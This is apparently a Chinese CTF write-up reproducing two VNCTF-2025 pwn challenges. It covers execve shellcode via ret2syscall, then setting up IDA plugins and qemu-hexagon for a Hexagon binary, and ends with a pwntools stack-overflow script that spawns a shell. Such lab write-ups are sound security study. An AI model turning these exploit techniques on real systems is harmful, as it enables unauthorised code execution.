VNCTF-2025
赛后简单复现一下
PWN
签到
日常检查一下
1 | llq@llq-virtual-machine:~$ checksec pwn |
只有canary是关的
ida打开看一下main函数
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
刚开始以为就是一个绕过、重定位
但是注意看一下execute()函数
看一眼汇编
1 | .text:00000000000011C9 |
当开始没看懂这个是干啥的,主要注意的是rsp会被置零。
这里直接是复现j1ya师傅的,他建议直接打ret2syscall
这里复习一下
execve(“/bin/sh”, NULL, NULL)
第一个参数要设置为/bin/sh,也是就rdi
后两个参数分别是rsi,rdx,因为是NULL就不设置了
最后就是系统调用号的设置,因为是64位,翻一下笔记
1 | shellcode=asm( |
然后正常打即可
hexagon
这个直接是两眼一黑
日常检查一下
1 | llq@llq-virtual-machine:~$ checksec main |
不认识的架构,直接搜一下
大概扫一眼,看见了用于ida,想着要下一下插件
方法1
这里我找了几篇文章看了看
这里我开始找的还是比较麻烦的。
首先根据文章1,进行文件下载下来按照正常readme按照即可
这里讲一下踩坑点
1
2 >python -m pip install setuptools
>python setup.py install
敲这个命令的时候要注意要在内置的idapython里面敲,安装在ida内置的python里面要不然会报错找不到
hexagondisasm
包。解决安装后,笔者这里还遇到了
disassembler
模块引用找不到,这里找到安装hexagondisasm
包路径如下:
1 >\.\.\IDA_Pro_7.7_max\IDA_Pro_7.7\python38\Lib\site-packages\hexag00n-0.1-py3.8.egg\hexagondisasm修改如下:
1 >from . import disassembler
- 就在笔者以为大功告成的时候我们会发现,有一个函数居然找不到引用
- 因为笔者的ida的版本是7.5以上,这个函数是被弃用了,也是又找了找,终于在文章2找到替代的
hexagon.py
文件,成功替换之后也是打开了这个异架构文件,注意勾选的时候选择一下即可
- 然后我们就成功的打开了
方法2
但是!!!!
看完wp之后你会发现这里还有一个更简单的插件,也就是有师傅直接提供了dll。
其实仔细看的开头的文章时,就应该看见这个的,只不过笔者,开始就找错了方向,一条路走到黑了
只能说🙌🙌🙌🙌🙌
- 没啥好说的,找到自己对应的ida版本,下载之后放在procs目录下即可,笔者这里选的8.3
- 直接打开就行了
方法解释如上,这里就可以正常解题,题目难度据作者说,难度已经降低了很多。根据wp说法就是一个正常的栈溢出的ret2text
解题:
看下源码
1 |
|
这里笔者也是直接对着wp进行复现的
根据wp看有几步是必须的
- qemu-user的安装
1 | sudo apt install qemu-user |
这里笔者的Ubuntu的版本是22.04,但是在20.04的版本下载之后是找不到
qemu-hexagon
这块只能自己手动编译
1
2
3
4
5
6
7
8
9
10
11
12 sudo apt update
sudo apt install build-essential pkg-config libglib2.0-dev libpixman-1-dev
git clone https://gitlab.com/qemu-project/qemu.git
cd qemu
./configure --target-list=hexagon-linux-user
make -j$(nproc)
sudo make install安装完之后可以自己查看一下是否安装成功了
注意:这里安装的时候不会直接安装成功,可能会报错,拷打一下GPT,安装一下相应的包即可
- 将libc链接到/lib里(这里注意要给一下绝对路径,要不然显示找不到如下图)
1 | sudo ln -sf /home/llq/hexagon/libc.so /lib/ld-musl-hexagon.so.1 |
- 运行一下,注意可执行权限
1 | qemu-hexagon ./main |
- 调试
1 | qemu-hexagon -L libc -d in_asm,exec,cpu,page,nochain -singlestep -dfilter 0x20420+0xc0 -strace -D ./log ./main |
这里也是根据wp的提示,直接看日志文件,找libc基址和栈地址。(看日志还是很简单的)
但是再找/bin/sh的地址时,直接看libc.so中文件的/bin/sh的偏移即可
这里看到
满足三个条件就行,然后我们的脚本就可以正常跑了
1 | from pwn import * |
这里讲一下笔者遇到的问题
- 因为笔者用到Ubuntu22.04, qemu-user是带着qemu-hexagon的,也就是我们在跑本地的时候直接可以跑,但是在Ubuntu20.04下,会发生报错,所以就要设置一下架构也就是要按照作者的wp写
1 >r = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-dfilter', '0x20420+0xc0', '-strace', '-D', './log', './main'])
- 还有就是题目的libc基址和栈地址都会发生改变(20.04)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 >from pwn import *
>r = process(['qemu-hexagon', '-L', 'libc', '-d', 'in_asm,exec,cpu,nochain', '-dfilter', '0x20420+0xc0', '-strace', '-D', './log', './main'])
>context(os='linux', log_level='debug')
>libc = ELF('./libc.so')
>stack = 0x4080f0b8
>libc_base = 0x40810000
>binsh = libc_base+0x119f7
>#r.recv()
>r.sendline(str(binsh).encode())
>payload = p32(0)*2 + p32(stack+8)+p32(libc_base+0xBE7C0)
>r.send(payload)
>r.interactive()
更换为0x3FEC0000则跑不通
总结:
在安装插件的时候,卡的时间较长(建议直接使用方法2来安装插件),并且在调试的时候建议使用Ubuntu22.04减去不必要的麻烦(笔者20.04也试了试,觉得没有必要)。并且看作者的另一篇文章,他是有模拟过这个环境的,并且在使用gdb-multiarch进行远程调试的时候遇到了问题,这里笔者没有进行复现,而是草草了事,其实可以动调一下复现一下作者的下面这句话,加深一下对该异架构的汇编命令的理解程度。
复现的时候主要难度在于环境的复现,对应异架构的汇编指令也可以多看看开发手册,理解其寄存器的调用。对于 qemu-user的使用,也需更加熟练些,因为复现过一些漏洞,对于其还有一些了解,不算抓瞎。
特别感谢:
再次感谢这两位师傅对笔者的帮助,真心感谢,两位师傅对笔者的学习有莫大帮助!!